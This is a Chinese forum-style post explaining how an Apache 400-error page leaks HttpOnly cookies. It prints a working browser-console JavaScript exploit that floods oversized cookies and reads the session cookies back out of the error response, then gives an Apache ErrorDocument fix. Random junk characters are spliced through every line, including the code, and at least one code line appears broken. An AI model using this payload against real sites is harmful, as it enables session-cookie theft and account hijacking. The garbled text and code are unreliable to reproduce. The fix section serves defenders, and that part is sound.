很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。5 u9 ]$ P$ e" y4 N7 j
3 r# v: y% b9 H/ ~0 W( `用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
& {" ~# T5 t5 Q M
9 q: `4 K2 D8 v G$ f, J! h0 N7 J! P! j! V7 t/ P
// http://www.exploit-db.com/exploits/18442/ j* \, Q* G1 E5 m4 I$ u- z/ T
function setCookies (good) {# d! p6 c y! v6 S+ a2 E
// Construct string for cookie value
% ]+ }) J5 a P: M kvar str = "";& M q# N2 c0 @- \! j. A
for (var i=0; i< 819; i++) {
. ~" z' Q1 j8 f% }1 j& l; Jstr += "x";0 Q) O l- v$ j: Z% q' @
}: f7 Y/ \+ U* |) t
// Set cookies, ~' e4 E( ]/ [& q
for (i = 0; i < 10; i++) {
. W* O4 j* I% a, E4 a7 b8 H; Q// Expire evil cookie: ?2 B* k' G3 |4 `5 `
if (good) {
( Z: K% M" @' i- V& ~var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";* K6 R' s8 }! q p
}
$ S* [; w4 U6 d/ P// Set evil cookie
3 v+ v2 t( W1 s# s3 a/ g8 _2 ielse {4 t; M4 j: U2 z$ |. q4 c
var cookie = "xss"+i+"="+str+";path=/";4 j. l' f6 b! K* x i7 L& F4 B
}9 }1 g G3 W: u, @' d! U3 O
document.cookie = cookie;
2 m& Z7 `+ G m5 `}( W4 q7 S' {, s
}* J4 J0 g {! j4 [' l
function makeRequest() {3 Z6 F- ~0 z G0 Q: |
setCookies();
2 C3 ^, E& g) g. ?6 @function parseCookies () {
+ J! ~ t# i! R8 i D3 cvar cookie_dict = {};" B- c: v% v8 T( C- Q) e8 n
// Only react on 400 status$ \' |& g( K7 W- a4 S: p
if (xhr.readyState === 4 && xhr.status === 400) {
. E' r0 _& Y. C// Replace newlines and match <pre> content
: q" }( P+ g4 q9 e3 M6 C' C' @var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
8 g: b9 _9 G6 ]$ l; \6 Qif (content.length) {
* [. A' ~ p, {4 [5 I0 R// Remove Cookie: prefix
) V* V" O6 W) E, i- b# u# D# [content = content[1].replace("Cookie: ", "");5 V0 I' f. F# {! b! M* |9 `
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
( D2 \1 N% {0 g) c1 V/ i) Z; a// Add cookies to object" R" T7 b( }: B6 f' i% Y, ?
for (var i=0; i<cookies.length; i++) {: p; [5 \( x, y0 p8 _; p0 S. P
var s_c = cookies.split('=',2);
& M4 f8 F+ T/ R" U" pcookie_dict[s_c[0]] = s_c[1];( [( O7 [4 p+ n* a/ Z5 l
}- [* j Z- E* q1 S* r
}$ I& H5 V* E( a- G
// Unset malicious cookies4 u' Q. L9 Y$ z( H' Z$ V; _
setCookies(true);
. S% d9 b/ Y2 G3 c) Nalert(JSON.stringify(cookie_dict));# I# h; g# {" C& g7 f
}5 j! d8 y8 d9 x$ [$ t! ^
}
, i5 m1 l. T( A9 ?# n7 L- g( B; n# j// Make XHR request2 V7 X( r8 m1 P& _: T3 p$ f x
var xhr = new XMLHttpRequest();
0 e. _9 }9 o; k X8 mxhr.onreadystatechange = parseCookies;
) F9 U. M# k8 B. Qxhr.open("GET", "/", true);1 x. ]! l$ f# Z0 t2 J% ~
xhr.send(null);
6 m. m: }9 E, V% m}
$ u8 U: f) V# N7 i5 l" umakeRequest();
5 p# c# v1 [) Q, k {' {! r j9 l& R4 K! v# F/ X
你就能看见华丽丽的400错误包含着cookie信息。
8 q) G" Y7 h1 n6 g* R* ~2 G
' q! U( H5 x: K+ W: g. g# O5 f0 }下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#% G6 d9 U6 ]2 l) U+ y/ ~6 W
- s @7 n. [# ?! K7 I H7 M
修复方案:
2 k/ @. K4 W/ H* F4 Q( m! j) p* h# r: W" \
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
1 u9 }* o! s" `( ?1 D) `
' Z X9 w" i8 |6 C. u3 g; w1 R% EIn the event of a problem or error, Apachecan be configured to do one of four things,8 u. b$ ^$ |% h: F
: N8 O' K9 m4 W+ I1. output asimple hardcoded error message输出一个简单生硬的错误代码信息" u. Q9 t: K% k: q
2. output acustomized message输出一段信息
4 P4 f+ q- f1 R% n3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 ' F& ^ |# G3 k0 p: M3 \" Y
4. redirect to an external URL to handle theproblem/error转向一个外部URL
n+ R% c B/ U# k, g Z g$ {: q/ z! w- R
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
6 \( J% F; {4 v& n9 i% n$ O L& G" w
4 ?- t0 R2 ]$ G B$ xApache配置:( Y3 z+ \; y- v# p# o
5 `7 R0 G: }+ f: t, F- X+ C( l
ErrorDocument400 " security test"
! v0 r/ Z, K+ z
! ~3 f+ z; v, v0 t3 ~( y当然,升级apache到最新也可:)。" j# i" T& k# y3 c
d; a; [9 G; B参考:http://httpd.apache.org/security/vulnerabilities_22.html
0 q6 O k0 b0 K2 d4 |; e% V% s7 r. H) H
/ m) }/ F. z' [6 @/ a+ ?: f4 H |